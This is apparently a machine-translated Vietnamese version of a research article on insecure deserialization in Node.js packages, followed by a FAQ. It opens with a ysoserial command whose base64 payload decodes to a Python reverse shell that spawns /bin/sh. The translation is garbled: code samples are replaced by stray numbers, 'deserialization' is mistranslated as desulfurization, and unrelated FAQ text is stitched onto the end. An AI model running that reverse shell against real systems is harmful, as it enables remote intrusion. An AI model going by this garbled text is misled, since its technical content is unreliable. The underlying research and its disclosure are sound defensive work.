Deserialization trong javascript là gì?
java -jar ysoserial-master-SNAPSHOT. jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}. {base64,-d}. {bash,-i}" Show Tại hội nghị ZeroNights 2017, tôi đã nói về “Lỗ hổng Deserialization trong các ngôn ngữ khác nhau”. Đối với phần trình bày của mình, tôi đã sử dụng một bài viết thú vị về hai gói tuần tự hóa của Node. js. Tôi đã cho họ thấy những ví dụ về việc triển khai các quy trình khử lưu huỳnh dễ bị tổn thương. Trong bài đăng này, tôi muốn trình bày kết quả nghiên cứu của riêng mình và một cách tiếp cận mới để tấn công quá trình khử lưu huỳnh trong JS Nghiên cứu trước đâyBài báo đề cập ở trên nói về hai gói – 4 và 5. Cả hai đều có thể tuần tự hóa một đối tượng ở định dạng JSON, nhưng không giống như các hàm tiêu chuẩn ( 6, 7), chúng cho phép tuần tự hóa hầu hết mọi loại đối tượng, chẳng hạn như Hàm chẳng hạn (i. e trong JavaScript, một hàm cũng là một đối tượng). Vì vậy, nó là một đối tượng hợp lệ
Nhưng nếu chúng tôi đánh số thứ tự nó bằng cách sử dụng 7, thì chúng tôi chỉ có
Để triển khai hỗ trợ tất cả các loại đối tượng, 4, sử dụng nội bộ 0________số 8_______Đây là giao diện của một đối tượng được tuần tự hóa với một chức năng. Trong quá trình deserialization, bất kỳ thứ gì sau thẻ đặc biệt 1 sẽ chuyển trực tiếp đến hàm 0. Do đó, chúng ta có thể sử dụng IIFE (như đã đề cập trong bài viết) hoặc viết mã trực tiếp (như đã đề cập trong bình luận của bài viết)Với IIFE (Biểu thức hàm được gọi ngay lập tức), tất cả những gì chúng ta cần làm là thêm () vào một hàm và nó sẽ tự động được gọi ngay sau khi nó được xác định trong quá trình khử lưu huỳnh
Ví dụ tiếp theo là 5. Mặc dù nó không hỗ trợ chức năng như một loại, nhưng việc triển khai nó vẫn không an toàn do thực tế là nó sử dụng cấu trúc tiếp theo trong quá trình khử lưu huỳnh
trong đó 4 là một giá trị dưới sự kiểm soát của kẻ tấn côngThực tế, nó chỉ là một biến thể của 0. Vì vậy, chúng tôi có thể đạt được RCE bằng cách sử dụng tải trọng sau như đã thấy trong vấn đề sau
Cách an toàn hơn?Sau bài thuyết trình của tôi tại ZeroNights, tôi tình cờ thấy một gói xuất bản nhiều kỳ từ Yahoo. Nó cũng hỗ trợ tuần tự hóa các chức năng. Tuy nhiên, gói này không bao gồm bất kỳ chức năng khử lưu huỳnh nào và yêu cầu bạn tự triển khai nó. Ví dụ của họ sử dụng trực tiếp 0. Vì vậy, tôi muốn xem liệu có bất kỳ gói nào hỗ trợ tuần tự hóa chức năng và không sử dụng 0 hoặc các chức năng tương tự khôngTrên thực tế, có rất nhiều thư viện tuần tự hóa (khoảng 40 hoặc 60). Tôi đã xem qua một số trong số chúng và thấy rằng cách khử lưu huỳnh an toàn hơn là sử dụng các hàm tạo khác nhau tùy thuộc vào loại đối tượng Ví dụ: một gói trả về 8 mới cho một hàm, trong đó các tham số và nội dung được lấy từ các trường JSON cụ thể. Trong trường hợp này, chức năng được xây dựng lại, tuy nhiên kẻ tấn công không thể buộc thực thi nóTôi cũng đã tìm thấy một funcster gói dễ bị tổn thương khác. Nó dễ bị tấn công bằng IIFE tương tự như những lần trước, vì vậy chúng tôi (với tư cách là kẻ tấn công) có thể thực thi mã của mình trong quá trình giải tuần tự hóa. Đây là một ví dụ về tải trọng
Gói sử dụng một cách tiếp cận khác để tuần tự hóa/giải tuần tự hóa. Trong quá trình khử lưu huỳnh, nó tạo ra một mô-đun mới với các hàm được xuất từ tệp JSON. Đây là một phần của mã
Sự khác biệt thú vị ở đây là các đối tượng tích hợp sẵn không thể truy cập được vì chúng nằm ngoài phạm vi. Điều đó có nghĩa là chúng ta có thể thực thi mã của mình, nhưng không thể gọi các phương thức của đối tượng tích hợp. Vì vậy, nếu chúng tôi sử dụng 9 hoặc 0, Node sẽ trả về một ngoại lệ như 1Tuy nhiên, chúng tôi có thể dễ dàng lấy lại quyền truy cập vào mọi thứ vì chúng tôi vẫn có quyền truy cập vào bối cảnh toàn cầu
Ở đây 2 cung cấp cho chúng tôi đối tượng Hàm, chúng tôi đặt mã của mình làm tham số ở đó và gọi nó bằng IIFEBước sâu hơn với PrototypeTrong khi tôi đang nghiên cứu các gói, tôi tình cờ nảy ra ý tưởng xem xét các cách tiếp cận khác của các cuộc tấn công vào quá trình khử lưu huỳnh, được sử dụng trong các ngôn ngữ khác. Để đạt được khả năng thực thi mã, chúng tôi tận dụng các chức năng với dữ liệu do kẻ tấn công kiểm soát được gọi tự động trong quá trình giải tuần tự hóa hoặc sau khi một ứng dụng tương tác với một đối tượng mới được tạo. Một cái gì đó tương tự như "phương pháp ma thuật" trong các ngôn ngữ khác Trên thực tế, có rất nhiều gói hoạt động hoàn toàn khác nhau, nhưng sau một số thử nghiệm, tôi đã tìm ra một cuộc tấn công bán phổ quát thú vị. Nó dựa trên hai sự thật
nơi khóa và giá trị được lấy từ JSON Thứ hai, một cuộc gọi của một số hàm dẫn đến việc gọi các phương thức của đối số hàm. Ví dụ: khi một đối tượng được chuyển đổi thành một chuỗi, thì các phương thức valueOf, toString của đối tượng sẽ tự động được gọi (chi tiết tại đây). Vì vậy, 3 dẫn đến lời gọi của 4. Một ví dụ khác, 5 gọi nội bộ obj. toJSON()Sử dụng cả hai tính năng này, chúng tôi có thể thực thi mã từ xa trong quá trình tương tác giữa một ứng dụng 6 và một đối tượngTôi đã tìm thấy một ví dụ hay – gói Cryo, hỗ trợ cả tuần tự hóa chức năng và ký hiệu dấu ngoặc vuông để tái cấu trúc đối tượng, nhưng không dễ bị IIFE tấn công, vì nó quản lý đối tượng đúng cách (không sử dụng 7)Đây là mã để tuần tự hóa và giải tuần tự hóa một đối tượng 0JSON được tuần tự hóa trông như thế. khá rối 1Đối với cuộc tấn công của chúng tôi, chúng tôi có thể tạo một đối tượng JSON được tuần tự hóa với một 8. Chúng ta có thể tạo đối tượng của mình bằng các phương thức riêng cho nguyên mẫu của đối tượng, nhưng có một mẹo nhỏ, chúng ta có thể đặt tên không chính xác cho 9 (vì chúng ta không muốn viết lại nguyên mẫu của đối tượng trong ứng dụng của mình) và tuần tự hóa nó 2Vì vậy, chúng tôi nhận được đối tượng được tuần tự hóa và đổi tên từ 0 thành 9 trong đó 3Khi chúng tôi gửi tải trọng JSON đó tới một ứng dụng, gói Cryo giải tuần tự hóa tải trọng trong một đối tượng, nhưng cũng thay đổi nguyên mẫu của đối tượng thành giá trị của chúng tôi. Do đó, nếu ứng dụng tương tác với đối tượng bằng cách nào đó, chuyển đổi nó thành sting chẳng hạn, thì phương thức của nguyên mẫu sẽ được gọi và mã của chúng ta sẽ được thực thi. Vì vậy, đó là RCE Tôi đã cố gắng tìm các gói có vấn đề tương tự, nhưng hầu hết chúng không hỗ trợ tuần tự hóa chức năng. Tôi không tìm thấy cách nào khác để tái tạo lại 2. Tuy nhiên, vì nhiều gói sử dụng ký hiệu dấu ngoặc vuông, chúng ta cũng có thể viết lại 9 cho chúng và làm hỏng nguyên mẫu của các đối tượng mới được tạo. Điều gì xảy ra khi một ứng dụng gọi bất kỳ phương thức nguyên mẫu nào của các đối tượng đó? Ngoài ra, tôi nên đề cập rằng toàn bộ ý tưởng có khả năng hoạt động để khử lưu huỳnh từ bất kỳ định dạng nào (không chỉ JSON). Khi cả hai tính năng đã sẵn sàng, một gói có khả năng dễ bị tấn công. Một điều nữa là 6 không “dễ bị tổn thương” đối với 5chức năng stringify == evalTrong khi Google, tôi bắt gặp một cách tiếp cận khác để tuần tự hóa các đối tượng có chức năng. Ý tưởng là đầu tiên xâu chuỗi các chức năng, sau đó đến 7 toàn bộ đối tượng. “Deserialization” bao gồm các bước tương tự theo thứ tự ngược lại. Ví dụ về 7 như vậy là các gói 8, 9, v.v. Tất cả (?) trong số chúng đều không an toàn (do 0 & co) và cho phép thực thi mã bằng IIFE trong quá trình hủy xâu chuỗiPhần kết luậnDành cho người kiểm tra. Xem kỹ ký hiệu dấu ngoặc vuông và truy cập 1. Nó có tiềm năng tốt trong một số trường hợpCho các nhà phát triển. Tôi đang viết ở đây rằng một số gói dễ bị tổn thương, nhưng ứng dụng của bạn chỉ dễ bị tổn thương khi đầu vào của người dùng đến chức năng dễ bị tổn thương. Một số gói được tạo theo mục đích ion theo cách “không an toàn” như vậy và sẽ không được sửa. Vì vậy, đừng hoảng sợ và chỉ cần kiểm tra xem bạn có phụ thuộc vào gói lập số sê-ri không theo tiêu chuẩn hay không và cách bạn xử lý đầu vào của người dùng trong đó Tôi đã chia sẻ thông tin về cả hai lỗ hổng với những người bảo trì của họ bằng chương trình của HackerOne. Một thông báo cảnh báo đã được thêm vào README của gói `funcster`. Chúng tôi không thể liên hệ với các nhà phát triển của cryo Tái bút. Cảm ơn @lirantal từ HackerOne vì sự hợp tác của anh ấy đối với các lỗ hổng nêu trên Các câu hỏi thường gặpTuần tự hóa và giải tuần tự hóa là gì?Tuần tự hóa là một quá trình chuyển đổi một đối tượng dữ liệu có cấu trúc được lưu trữ trong bộ nhớ thành một định dạng đại diện nhất định (JSON, XML, nhị phân, v.v. ). Nó được sử dụng để lưu trữ dữ liệu trên đĩa, truyền qua luồng, v.v. Deserialization chuyển đổi dữ liệu được tuần tự hóa trở lại thành một đối tượng dữ liệu có cấu trúc được lưu trữ trong bộ nhớ được ứng dụng sử dụng Đọc thêm về serialization và deserialization Lỗ hổng deserialization là gì?Nếu bạn giải tuần tự hóa dữ liệu thành một đối tượng và cho rằng dữ liệu đó đáng tin cậy, thì kẻ tấn công có thể tạo dữ liệu được tuần tự hóa theo cách mà ứng dụng thực hiện các hoạt động độc hại bổ sung trong quá trình giải tuần tự hóa, thậm chí có thể dẫn đến thực thi mã từ xa – đây là quá trình giải tuần tự hóa . Một số thư viện khử lưu huỳnh trong ngôn ngữ lập trình coi dữ liệu đầu vào là an toàn và theo mặc định, không bảo vệ chống lại các lỗ hổng như vậy Đọc thêm về deserialization không an toàn Các lỗ hổng khử lưu huỳnh có thể xảy ra trong JavaScript không?Có, lỗ hổng deserialization có thể xảy ra trong JavaScript. Ví dụ: nếu bạn sử dụng các gói tuần tự hóa nút hoặc tuần tự hóa thành js để tuần tự hóa thành JSON và sau đó quay lại các đối tượng JavaScript, bạn có thể dễ dàng thực thi mã từ xa. Nhiều thư viện tương tự khác, trong số khoảng 40 đến 60 gói, cũng dễ bị giải tuần tự hóa không an toàn Xem ví dụ chi tiết về hack gói nối tiếp nút để thực thi mã từ xa Làm cách nào để bảo vệ chống lại các lỗ hổng khử lưu huỳnh trong JavaScript?Các hàm tích hợp sẵn (JSON. parse()) không dễ bị tấn công nên bạn có thể sử dụng chúng một cách an toàn. Tuy nhiên, các gói giải tuần tự hóa tùy chỉnh cho JavaScript có các loại lỗ hổng khác nhau, tùy thuộc vào cách tiếp cận được sử dụng để giải tuần tự hóa dữ liệu. Tuy nhiên, một số lỗ hổng này là kết quả của thiết kế thư viện dự định, vì vậy chúng không thể sửa được. Với tư cách là nhà phát triển, bạn có trách nhiệm đảm bảo rằng dữ liệu được giải tuần tự hóa được khử trùng trước tiên Đọc về các nguyên tắc mã hóa an toàn chung Nhận nội dung mới nhất về bảo mật web Chúng tôi tôn trọng quyền riêng tư của bạn CHIA SẺ BÀI NÀYTÁC GIẢ Aleksei Tiurin Tuần tự hóa và giải tuần tự hóa trong JavaScript là gì?Sắp xếp tuần tự hóa dữ liệu là quá trình chuyển đổi một đối tượng thành một luồng byte để lưu hoặc truyền nó dễ dàng hơn . Quá trình ngược lại—xây dựng cấu trúc dữ liệu hoặc đối tượng từ một chuỗi byte—là giải tuần tự hóa.
Deserialization có nghĩa là gì?Deserialization là quá trình tái tạo cấu trúc dữ liệu hoặc đối tượng từ một chuỗi byte hoặc chuỗi để khởi tạo đối tượng để sử dụng . Đây là quy trình đảo ngược của lập số sê-ri, tôi. e. , chuyển đổi cấu trúc dữ liệu hoặc đối tượng thành một chuỗi byte để lưu trữ hoặc truyền qua các thiết bị.
Tuần tự hóa so với giải tuần tự hóa là gì?Tuần tự hóa là một cơ chế chuyển đổi trạng thái của một đối tượng thành luồng byte. Deserialization là quá trình ngược lại trong đó luồng byte được sử dụng để tạo lại đối tượng Java thực tế trong bộ nhớ. Cơ chế này được sử dụng để duy trì đối tượng
Deserialization trong REST API là gì?Việc tuần tự hóa đối tượng là quá trình lưu trạng thái của đối tượng vào một chuỗi byte, cũng như quá trình xây dựng lại các byte đó thành một đối tượng trực tiếp tại một thời điểm nào đó trong tương lai. The Java Serialization API provides a standard mechanism for developers to handle object serialization. |